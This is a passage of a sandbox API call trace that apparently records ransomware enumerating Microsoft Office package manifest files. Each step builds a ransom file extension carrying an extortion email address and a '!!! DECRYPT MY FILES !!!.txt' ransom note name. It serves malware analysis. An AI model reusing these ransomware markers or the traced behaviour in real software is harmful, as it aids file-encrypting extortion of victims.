dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APD1EA~1.XML")) returned 1 [0120.501] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 1 [0120.501] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.501] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.501] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.501] GetProcessHeap () returned 0x630000 [0120.501] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x198) returned 0x66a3e0 [0120.501] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP6EFE~1.XML")) returned 1 [0120.502] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 1 [0120.502] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.502] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.502] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.502] GetProcessHeap () returned 0x630000 [0120.502] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x19c) returned 0x66a3e0 [0120.502] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", cAlternateFileName="APB63F~1.XML")) returned 1 [0120.502] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 1 [0120.502] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.502] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.503] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.503] GetProcessHeap () returned 0x630000 [0120.503] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a0) returned 0x66a3e0 [0120.503] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", cAlternateFileName="APB913~1.XML")) returned 1 [0120.503] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 1 [0120.503] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.503] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.503] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.503] GetProcessHeap () returned 0x630000 [0120.503] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a4) returned 0x66a3e0 [0120.503] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP4637~1.XML")) returned 1 [0120.504] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 1 [0120.504] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.504] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.504] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.504] GetProcessHeap () returned 0x630000 [0120.504] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1a8) returned 0x66a3e0 [0120.504] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x618a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2FE2~1.XML")) returned 1 [0120.504] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 1 [0120.504] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.505] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.505] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.505] GetProcessHeap () returned 0x630000 [0120.505] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1ac) returned 0x66a3e0 [0120.505] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP2C4B~1.XML")) returned 1 [0120.505] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 1 [0120.505] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.505] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.505] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.505] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.505] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.505] GetProcessHeap () returned 0x630000 [0120.505] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b0) returned 0x66a3e0 [0120.506] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", cAlternateFileName="APF00A~1.XML")) returned 1 [0120.506] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 1 [0120.506] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.506] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.506] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.506] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.506] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.506] GetProcessHeap () returned 0x630000 [0120.506] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b4) returned 0x66a3e0 [0120.506] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~2.XML")) returned 1 [0120.506] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 1 [0120.506] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.507] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.507] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.507] GetProcessHeap () returned 0x630000 [0120.507] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b8) returned 0x66a3e0 [0120.507] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP202C~1.XML")) returned 1 [0120.507] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 1 [0120.507] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml") returned 0x68 [0120.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.507] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.507] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.507] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.508] GetProcessHeap () returned 0x630000 [0120.508] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1bc) returned 0x66a3e0 [0120.508] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", cAlternateFileName="APBC30~1.XML")) returned 1 [0120.508] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 1 [0120.508] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.508] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.508] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0120.508] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0120.508] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0120.508] GetProcessHeap () returned 0x630000 [0120.508] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c0) returned 0x66a3e0 [0120.508] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCB35~1.XML")) returned 1 [0120.508] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml", psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 1 [0120.509] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", cchLength=0x68 | out: lpsz="c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml") returned 0x68 [0120.509] 